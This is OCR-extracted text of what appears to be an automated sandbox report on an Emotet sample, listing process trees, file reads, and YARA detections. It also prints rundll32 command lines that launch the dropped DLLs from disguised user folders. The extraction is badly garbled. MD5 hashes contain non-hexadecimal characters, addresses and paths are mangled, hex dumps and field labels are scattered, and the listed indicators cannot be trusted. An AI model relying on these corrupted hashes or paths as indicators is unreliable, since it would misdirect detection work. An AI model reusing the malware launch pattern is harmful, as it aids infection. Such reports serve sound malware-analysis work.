C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Core\4 unknown 900 success or wait 1 7FFB4D7B12E7 ReadFile
e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manaa5 unknown 2764 success or wait 1 7FFB4D7B12E7 ReadFile
7fc8cc#\8b2774850bdc17a926dc650317d86b33\System.Management.Automation.ni.dll.aux
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFB4D6DB9DD unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFB4D6DB9DD unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFB4D6DB9DD unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFB4D6DB9DD unknown
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 7FFB4D6DB9DD unknown
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machine.config unknown 8171 end of file 1 7FFB4D6DB9DD unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Mf4 unknown 748 success or wait 1 7FFB4D7B12E7 ReadFile
9f6405#\dfef7ale85e28d0ba698946b7fc68a28\Microsoft. Management.Infrastructure.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manage unknown 764 success or wait 1 7FFB4D7B12E7 ReadFile

ment\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.dll.aux
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C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Dired1 unknown 752 success or wait 1 7FFB4D7B12E7 ReadFile
3b18a9#\78d6ee2fdd35fdb45b3d78d899e481ea\System.DirectoryServices.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manage unknown 764 success or wait 1 7FFB4D7B12E7 ReadFile
ment\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Dired1 unknown 752 success or wait 1 7FFB4D7B12E7 ReadFile
3b18a9#\78d6ee2fdd35fdb45b3d78d899e481ea\System.DirectoryServices.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Xml\f2 unknown 748 success or wait 1 7FFB4D7B12E7 ReadFile
e3165e3c718b7ac302fead0614c984\System.Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Config unknown 864 success or wait 1 7FFB4D7B12E7 ReadFile
uration\e82398e9ff6885d617e4b97e31fh4f02\System.Configuration.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Numeri unknown 300 success or wait 1 7FFB4D7B12E7 ReadFile
cs\4f7e7c29596d1fb8414f1220e627d94c\System.Numerics.ni.dll.aux

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData- unknown 64 success or wait 1 7FFB4D6C62DB ReadFile
Noninteractive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData- unknown 21264 success or wait 1 7FFB4D6C63B9 ReadFile
Noninteractive

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Data\9 unknown 1540 success or wait 1 7FFB4D7B12E7 ReadFile
9a190301066e9665ec15a1f355a928e\System.Data.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.P6f unknown 1268 success or wait 1 7FFB4D7B12E7 ReadFile
792626#\e64755e76f85a3062b9f5a99a62dcabb\Microsoft.PowerShell.Security.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Transa unknown 924 success or wait 1 7FFB4D7B12E7 ReadFile
ctions\773cde8eca09561aeac8ad051c091203\System. Transactions.ni.dll.aux

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 492 end of file 1 7FFB4C63B526 ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 end of file 1 7FFB4C63B526 ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 774 end of file 1 7FFB4C63B526 ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 end of file 1 7FFB4C63B526 ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 7FFB4C63B526 ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 7FFB4C63B526 ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 682 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
et\1.0.0.1\PowerShellGet.psd1l

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 7FFB4C63B526 ReadFile
et\1.0.0.1\PowerShellGet.psd1l

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 7FFB4C63B526 ReadFile
et\1.0.0.1\PowerShellGet.psd1l

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
et\1.0.0.1\PowerShellGet.psd1l

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 7FFB4C63B526 ReadFile
et\1.0.0.1\PowerShellGet.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 success or wait 125 7FFB4C63B526 ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 993 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh unknown 492 end of file 1 7FFB4C63B526 ReadFile
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh unknown 4096 end of file 1 7FFB4C63B526 ReadFile
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files\WindowsPowerShell\Modules\PackageManagement unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
\1.0.0.1\PackageManagement.psd1l

C:\Program Files\WindowsPowerShell\Modules\PackageManagement unknown 774 end of file 1 7FFB4C63B526 ReadFile
\1.0.0.1\PackageManagement.psd1l

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 682 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1 unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
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C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1 unknown 289 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1 unknown 289 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 success or wait 123 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 993 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PSReadline.psd1 unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PSReadline.psd1 unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 7FFB4C63B526 ReadFile

.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 637 end of file 1 7FFB4C63B526 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 7FFB4C63B526 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 637 end of file 1 7FFB4C63B526 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.P52 unknown 2264 success or wait 1 7FFB4D7B12E7 ReadFile
1220eat#\3fead9bee9d7ca09b54c4ee7c5ed0848\Microsoft.PowerShel

|.Commands. Utility.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Confe6 unknown 1260 success or wait 1 7FFB4D7B12E7 ReadFile
4a9051#\b7f41bbfe8914f994b68b89a23570901\System.Configuration.Install.ni.dll.aux

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 8 7FFB4C63B526 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 128 end of file 1 7FFB4C63B526 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 7FFB4C63B526 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 534 end of file 1 7FFB4C63B526 ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 7FFB4C63B526 ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 534 end of file 1 7FFB4C63B526 ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 7FFB4C63B526 ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Pae unknown 3148 success or wait 1 7FFB4D7B12E7 ReadFile
3498d9#\03aa8bc6b99490176793256632e8342e\Microsoft.PowerShel

|.Commands.Management.ni.dll.aux

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machine.config unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 success or wait 1 7FFB4C63B526 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 end of file 1 7FFB4C63B526 ReadFile
C:\Windows\Microsoft. NET\assembly\GAC_MSIL\System.Management unknown 4096 success or wait 1 7FFB4D7D55FA unknown
.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dl|
C:\Windows\Microsoft. NET\assembly\GAC_MSIL\System.Management unknown 512 success or wait 1 7FFB4D7D55FA unknown
.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dl|
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_ unknown 4096 success or wait 1 7FFB4D7D55FA unknown
4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_ unknown 512 success or wait 1 7FFB4D7D55FA unknown
4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0 unknown 4096 success or wait 1 7FFB4D7D55FA unknown
.0__b77a5c561934e089\System.dll
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0 unknown 512 success or wait 1 7FFB4D7D55FA unknown
.0__b77a5c561934e089\System.dl
C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0 unknown 4096 success or wait 1 7FFB4D7D55FA unknown
.0__b77a5c561934e089\mscorlib.dll
C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0 unknown 512 success or wait 1 7FFB4D7D55FA unknown
.0__b77a5c561934e089\mscorlib.dll
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
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Analysis Process: svchost.exe PID: 5692 Parent PID: 568

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:53:11

07/01/2021

C:\Windows\System32\svchost.exe

false

C:\Windows\System32\svchost.exe -k netsvcs -p
0x7ff7488e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Analysis Process: svchost.exe PID: 6268 Parent PID: 568
General
Start time: 11:53:15
Start date: 07/01/2021
Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path Access
File Path Offset Length Value
File Path

Registry Activities

Key Path

Key Path Name

Type

false

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
0x7ff7488e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

high
Attributes Options Completion
Ascii Completion
Offset Length Completion
Completion
Data Completion

Count

Count

Count

Count

Count

Source
Address Symbol

Source
Address Symbol

Source
Address Symbol

Source
Address Symbol

Source
Address Symbol

Analysis Process: svchost.exe PID: 6520 Parent PID: 568

General
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:53:21

07/01/2021

C:\Windows\System32\svchost.exe

false

C:\Windows\System32\svchost.exe -k netsvcs -p
0x7ff7488e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 204 Parent PID: 7064
General
Start time: 11:53:24
Start date: 07/01/2021
Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Nsghoht\Gbh5r90\Q27V.dll,Contro

|_RunDLL

0x7ff6c54c0000

69632 bytes
73C519F050C20580F8A62C849D49215A
true

true

C, C++ or other language

Reputation: high
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\Nsghoht\Gbh5r90\Q27V.dll unknown 64 success or wait 1 7TFF6C54C2FA7 ReadFile
C:\Users\user\Nsghoht\Gbh5r90\Q27V.dll unknown 264 success or wait 1 7FF6C54C2FEA ReadFile
Analysis Process: rundll32.exe PID: 4456 Parent PID: 204
General
Start time: 11:53:24
Start date: 07/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Nsghoht\Gbh5r90\Q27V.dll,Contro

|_RunDLL

0x880000

61952 bytes
D7CA562B0DB4F4DD0OF03A89A1FDAD63D
true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.284787283.00000000029E0000.00000040.00000001.sdmp, Author:

Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.284845000.00000000041B1000.00000020.00000001.sdmp, Author:

Joe Security

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 5928 Parent PID: 4456
General
Start time: 11:53:26
Start date: 07/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ebern\dgxd.zpy',Control_Ru

nDLL
0x880000
61952 bytes

D7CA562B0DB4F4DDOF03A89A1FDAD6G3D

true
true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.470768632.0000000003410000.00000040.00000001.sdmp, Author:

Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.470794872.0000000003431000.00000020.00000001.sdmp, Author:

Joe Security

high

Access Attributes Options

read data or list device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

read data or list device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

read data or list device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

Completion

object name collision

object name collision

object name collision

Source

Count Address Symbol

1

1

1

34484C0 HttpSendRequestW

34484C0 HttpSendRequestW

34484C0 HttpSendRequestW
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user read data or list device directory file | object name collision 1 34484C0 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list device directory file | object name collision 1 34484C0 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies read data or list device directory file | object name collision 1 34484C0 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list device directory file | object name collision 1 34484C0 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list device directory file | object name collision 1 34484C0 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies read data or list device directory file | object name collision 1 34484C0 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list device directory file | object name collision 1 34484C0 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list device directory file | object name collision 1 34484C0 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list device directory file | object name collision 1 34484C0 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
File Deleted
Source

File Path Completion Count Address Symbol
C:\Windows\SysWOW64\Ebern\dgxd.zpy cannot delete 1 344AAAA DeleteFilewW

Analysis Process: svchost.exe PID: 784 Parent PID: 568
General
Start time: 11:53:26
Start date: 07/01/2021
Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false
Commandline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase: 0x7ff7488e0000
File size: 51288 bytes
MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true
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Has administrator privileges: false
Programmed in: C, C++ or other language

Reputation: high

File Activities

Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: svchost.exe PID: 4648 Parent PID: 568
General
Start time: 11:53:27
Start date: 07/01/2021
Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false
Commandline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase: 0x7ff7488e0000
File size: 51288 bytes
MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true
Has administrator privileges: false
Programmed in: C, C++ or other language
Reputation: high
Registry Activities
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

Analysis Process: svchost.exe PID: 5552 Parent PID: 568

General

Start time: 11:53:28

Start date: 07/01/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase: 0x7ff7488e0000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: SgrmBroker.exe PID: 4560 Parent PID: 568

General

Start time: 11:53:28

Start date: 07/01/2021

Path: C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit): false

Commandline: C:\Windows\system32\SgrmBroker.exe
Imagebase: 0x7ff7d2210000
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File size: 163336 bytes

MDS5 hash: D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: svchost.exe PID: 912 Parent PID: 568

General

Start time: 11:53:29

Start date: 07/01/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase: 0x7ff7488e0000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Registry Activities

Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: MpCmdRun.exe PID: 7072 Parent PID: 912
General
Start time: 11:54:30
Start date: 07/01/2021
Path: C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit): false
Commandline: ‘C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable
Imagebase: 0x7ff70e820000
File size: 455656 bytes
MDS5 hash: A267555174BFA53844371226F482B86B
Has elevated privileges: true
Has administrator privileges: false
Programmed in: C, C++ or other language
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
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File Path

C:\Windows\ServiceProfiles\Loc
alService\AppData\Local\Temp\MpCmdRun.log

C:\Windows\ServiceProfiles\Loc
alService\AppData\Local\Temp\MpCmdRun.log

C:\Windows\ServiceProfiles\Loc
alService\AppData\Local\Temp\MpCmdRun.log

C:\Windows\ServiceProfiles\Loc
alService\AppData\Local\Temp\MpCmdRun.log

Copyright null 2021

Offset Length Value
0d 00 02 00 0d 00 0a ........-.m=.m.mmomum.m.

unknown 182

unknown 258

unknown 86

unknown 20

00 2d 00 2d 00 2d 00 .
2d 00 2d 00 2d 00 2d .
00 2d 00 2d 00 2d 00 .
2d 00 2d 00 2d 00 2d .

00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 0d 00 0a 00

4d 00 70 00 43 00 6d
00 64 00 52 00 75 00
6e 00 3a 00 20 00 43
00 6f 00 6d 00 6d 00
61 00 6e 00 64 00 20
00 4c 00 69 00 6e 00
65 00 3a 00 20 00 22
00 43 00 3a 00 5c 00
50 00 72 00 6f 00 67
00 72 00 61 00 6d 00
20 00 46 00 69 00 6¢
00 65 00 73 00 5c 00
57 00 69 00 6e 00 64
00 6f 00 77 00 73 00
20 00 44 00 65 00 66
00 65 00 6e 00 64 00
65 00 72 00 5¢ 00 6d
00 70 00 63 00 6d 00
64 00 72 00 75 00 6e
00 2e 00 65 00 78 00
65 00 22 00 20 00 2d
00 77 00 64 00 65 00
6e 00 61 00 62 00 6¢
00 65 00 0d 00 0a 00
20 0053 00 74 00 61
00 72 00 74 00 20 00
54 00 69 00 6d 00 65
00 3a 00 20 00 Oe 20
54 00 68 00 75 00 20
00 Oe 20 4a 00 61 00
6e 00 20 00 Oe 20 30
00 37 00 20 00 Oe 20
32003000 320031
0020 00 31 00 31 00
3a 00 3500 34 00 3a
00 33 00 30 00 0d 00
0a 00 Od

4d 00 70 00 45 00 6e
00 73 00 7500 72 00
65 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 4d 00 69 00 74
00 69 00 67 00 61 00
74 00 69 00 6f 00 6e
00 50 00 6f 00 6¢ 00
69 00 63 00 79 00 3a
00 20 00 68 00 72 00
20 00 3d 00 20 00 30
00 78 00 31 00 0d 00
0a 00

57 00 44 00 45 00 6e
00 61 00 62 00 6¢ 00
65 00 0d 00 Oa 00

M.p.C.m.d.R.u.n...

.C.omm.a.n.d. .L.i.n.e...

MC.\P.ro.g.ram.
.F.i.le.s\W.i.n.d.o.w.s.
.D.efe.nder\m.

p.c.m.d.r.u.n...e.x.e.”. .-.w.

d.e.n.ab.le.... .Start.

.T.im.e.....T.h.u. .. Jan.

oo @075 oo 202, A3,
YA () S

M.p.E.n.s.u.re.P.r.o.c.e.s.
s.M.i.ti.g.a.t.i.o.n.P.o.li.c.

y....hr. = .0x.1.....

W.D.E.n.a.b.le.....

Completion

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

1

1

Source
Symbol

7FF70E84BC96 WriteFile

7FF70E84BC96 WriteFile

7FF70E84BC96 WriteFile

7FF70E84BC96 WriteFile
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File Path

C:\Windows\ServiceProfiles\Loc
alService\AppData\Local\Temp\MpCmdRun.log

C:\Windows\ServiceProfiles\Loc
alService\AppData\Local\Temp\MpCmdRun.log

C:\Windows\ServiceProfiles\Loc
alService\AppData\Local\Temp\MpCmdRun.log

Offset Length Value

unknown 86

unknown 100

unknown 174

45 00 52 00 52 00 4f
00 52 00 3a 00 20 00
4d 00 70 00 57 00 44
